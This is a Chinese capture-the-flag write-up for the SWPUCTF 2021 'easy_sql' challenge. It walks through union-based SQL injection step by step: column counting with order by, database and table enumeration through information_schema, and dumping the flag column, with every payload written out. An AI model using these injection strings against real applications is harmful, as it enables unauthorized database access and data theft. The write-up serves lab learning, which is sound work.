[SWPUCTF 2021 新生赛]easy_sql

点开题目链接

提示我们要传点东西,参数是wllm

我们依次试试1,1’

[SWPUCTF 2021 新生赛]easy_sql_第1张图片
发现有报错

说明存在注入点

第一步

爆显位

法一:

使用二分法

语句

1' order by 位数 --+

依次试二位,三位,四位

[SWPUCTF 2021 新生赛]easy_sql_第2张图片
可以得知表只有三列

法二:

报错语句

-1' union select 1,2,3 --+

注:通过wllm=-1, 一个负数不存在的id值来触发报错

[SWPUCTF 2021 新生赛]easy_sql_第3张图片可以得知为三个输出点,两个显位

猜测sql语句为

select phone,username,password from main where id='X';

第二步

我们使用联合查询注入

先爆数据库,用database();去替换

构造payload

-1' union select 1,2,database(); --+

[SWPUCTF 2021 新生赛]easy_sql_第4张图片
继续去爆数据表

payload

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db'--+

[SWPUCTF 2021 新生赛]easy_sql_第5张图片
得到两张表名

猜测sql代码为:

select phone,username,password from users where id='X';

或者

  select phone,username,password from test_tb where id='X';

接着去查看表的字段

tables的字段替换成column字段

先看test_tb

[SWPUCTF 2021 新生赛]easy_sql_第6张图片看到flag字段

我们就可以先不去看另一个名为users的表

我们现在已经确定库名,表名,列名

因为没有特殊的要求,所以where语句就没有必要出现

直接查询

payload

-1' union select 1,2,group_concat(id,flag) from test_tb --+ 

得到flag

[SWPUCTF 2021 新生赛]easy_sql_第7张图片

你可能感兴趣的:(sql注入,sql,web安全)